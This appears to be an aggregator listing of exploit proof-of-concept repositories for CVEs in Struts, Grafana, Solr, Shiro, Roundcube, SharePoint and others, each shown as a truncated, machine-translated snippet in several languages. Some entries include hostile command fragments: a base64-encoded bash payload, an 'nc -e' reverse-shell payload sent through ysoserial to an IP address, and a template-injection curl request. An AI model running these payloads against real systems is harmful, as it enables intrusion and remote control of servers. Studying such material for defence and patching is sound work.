CVE-2024-21413-Vulnerabilidad-Outlook-LAB

CVE-2024-21413 – Vulnerabilità Outlook LAB Descrizione della vulnerabilità CVE-2024-21413 è una vulnerabilità critica scoperta in Microsoft Outlook che consente a un attaccante remoto di eseguire collegamenti dannosi tramite un'email attentamente costruita. Questo exploit utilizza il protocollo...

xxl-job

RCE tramite accesso non autorizzato all'API RESTful dell'executor xxl-job Utilizzando la console dei log di esecuzione è possibile ottenere l'esito dei comandi eseguiti: Esempio: /joblog/logDetailPage?id=xxxx Visualizzare le variabili d'ambiente JDK root@kitploit: String var3 =...

CVE-2024-9264

🚨 CVE-2024-9264 - Iniezione SQL in Grafana che porta a Remote Code Execution RCE e lettura di file Strumento di exploit per CVE-2024-9264, una vulnerabilità critica in Grafana che consente a un utente autenticato di eseguire una query SQL che porta a RCE 🛡️ Questo strumento è strettamente per scop...

CVE-2024-53677-POC

CVE-2024-53677 Una vecchia vulnerabilità che colpisce Apache Struts portando a LFI ed esecuzione remota. maggiori informazioni sulla vulnerabilità, puoi consultare questo fantastico blog. Apache Struts path traversal → RCE CVE-2024-53677 Utilizzo POC Ho dedicato molto tempo per rendere questo...

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend TL;DR Ehi, in questo lab di LetsDefend mi sono immerso in una zero-day di SharePoint chiamata ToolShell CVE-2025-53770. In pratica, ho replicato un attacco reale in cui una richiesta POST maliziosa bypassava l'autenticazione, eseguiva...

weblogic_honeypot

वेबलॉजिक हनीपॉट Cymmetria Research, 2018. https://www.cymmetria.com/ द्वारा लिखित: Omer Cohen @omercnet विशेष धन्यवाद: Imri Goldberg @lorgandon, Itamar Sher, Nadav Lev संपर्क: [email protected] वेबलॉजिक हनीपॉट एक कम-इंटरैक्शन हनीपॉट है जो Oracle Fusion Middleware के Oracle WebLogic Server घट...

ciscoasa_honeypot

Honeypot Cisco ASA Cymmetria Research, 2018. https://www.cymmetria.com/ Contatto: [email protected] Un honeypot a bassa interazione per il componente Cisco ASA in grado di rilevare CVE-2018-0101, una vulnerabilità di DoS e di esecuzione remota di codice. È rilasciato con licenza MIT per l'us...

CVE-2020-17530

CVE-2020-17530 POC rapido per CVE-2020-17530. In Apache Struts versioni 2.0.0 - 2.5.25, una valutazione forzata di Object Graph Navigational Language OGNL sull'input grezzo dell'utente negli attributi dei tag può portare all'esecuzione remota di codice RCE. root@kitploit: $ python CVE-2020-17530....

CVE-2025-33053-POC

CVE-2025-33053 - WebDAV Esecuzione Remota di Codice RCE PoC & Simulazione C2 ⚠️ Solo a Scopo Educativo Questo progetto dimostra un proof-of-concept che sfrutta WebDAV e la consegna di file .url per ottenere un'esecuzione remota di codice realistica. Include un eseguibile fittizio e una simulazione...

CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution

POC Repository: https://github.com/CybermonkX/CVE-2019-16278Nostromo-1.9.6---Remote-Code-Execution.git 📜 Descrizione Questo repository contiene un exploit in Python per CVE-2019-16278 , una vulnerabilità in Nostromo 1.9.6 un server web. La vulnerabilità consente l'esecuzione remota di codice RCE...

solr_rce

Apache Solr RCE über Velocity-Vorlage Python-Nutzung: python solrrce.py http://x.x.x.x:8983 command getshell-Payload kodieren http://www.jackson-t.ca/runtime-exec-payloads.html whoami bash -c echo,d2hvYW1p|base64,-d|bash,-i 0x01 Solr-Einführung Solr ist die Open-Source-Enterprise-Suchplattform de...

CVE-2025-49113-Roundcube_1.6.10

CVE-2025-49113 – Roundcube 1.6.10 Esecuzione di codice remota autenticata ⚠️ Disclaimer Questo repository è inteso esclusivamente a scopo educativo e di ricerca. Tutte le dimostrazioni sono state eseguite in un ambiente di laboratorio controllato. Test o sfruttamenti non autorizzati di sistemi...

CVE-2021-41773-Apache_2.4.49-Path-traversal-to-RCE

CVE-2021-41773 – Apache HTTP Server 2.4.49 Remotecodeausführung ⚠️ Haftungsausschluss Dieses Repository ist ausschließlich für Bildungs- und Forschungszwecke bestimmt. Die hier bereitgestellten Informationen und Codes können in kontrollierten Umgebungen wie privaten Labormaschinen verwendet werden...

CVE-2019-3980-Open_Net_Admin_v18.1.1_RCE

CVE-2019-3980 – OpenNetAdmin 18.1.1 Esecuzione Remota di Codice ⚠️ Disclaimer Questo repository è destinato esclusivamente a scopi educativi e di ricerca. Le informazioni e il codice qui forniti possono essere utilizzati in ambienti controllati , come macchine di laboratorio private. L'uso non...

CVE-2018-17179-OpenEMR

CVE-2018-17179-OpenEMR ⚠️ 면책 조항 이 저장소는 교육 및 연구 목적으로만 제공됩니다. 여기 제공된 정보와 코드는 통제된 환경예: 개인 실험실 머신에서만 사용할 수 있습니다. 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에 대해 이 코드를 무단으로 사용하는 것은 불법적이고 비윤리적입니다. 저자는 이로 인한 어떠한 오용이나 손해에 대해서도 책임지지 않습니다. 🔍 취약점 정보 CVE-2018-17179 는 널리 사용되는 오픈 소스 전자 의무 기록 및 진료 관리 소프트웨어인 OpenEMR 에 영향...

ThinkCMF_getshell

Vulnerabilità di inclusione arbitraria di contenuti nel framework ThinkCMFgetshell Un attaccante remoto, senza richiedere alcun privilegio, può eseguire codice arbitrario sul server remoto inviando un pacchetto di richiesta appositamente costruito. utilizzo python: + python ThinkCMFgetshell.py...

SHIRO-721

SHIRO-721 Vulnerabilità RCE del Padding Oracle di RememberMe 0x00 Introduzione: Il RememberMe del cookie è crittografato tramite AES-128-CBC, il che lo rende vulnerabile agli attacchi Padding Oracle. Un attaccante può utilizzare un cookie RememberMe valido come prefisso per l'attacco Padding...

PoC_CVE-2016-2098_Rails42

Ein PoC für CVE-2016-2098 Rails 4.2.5.1 View enthält anfälligen Code app/views/poc/render1.html.erb folgender Befehl führt zu Remotecodeausführung $ curl ':3000/poc/render1?template\inline='...

SHIRO-550

Vulnerabilità di deserializzazione di Shiro RememberMe 1.2.4 SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e...

st2-048

Vulnerabilità di esecuzione di codice remoto St2-048 Apache Struts 2 possibile RCE nell'app Struts Showcase nell'esempio del plugin Struts 1 nella serie Struts 2.3.x http://struts.apache.org/docs/s2-048.html https://cwiki.apache.org/confluence/display/WW/S2-048 Utilizzo: root@kitploit: python...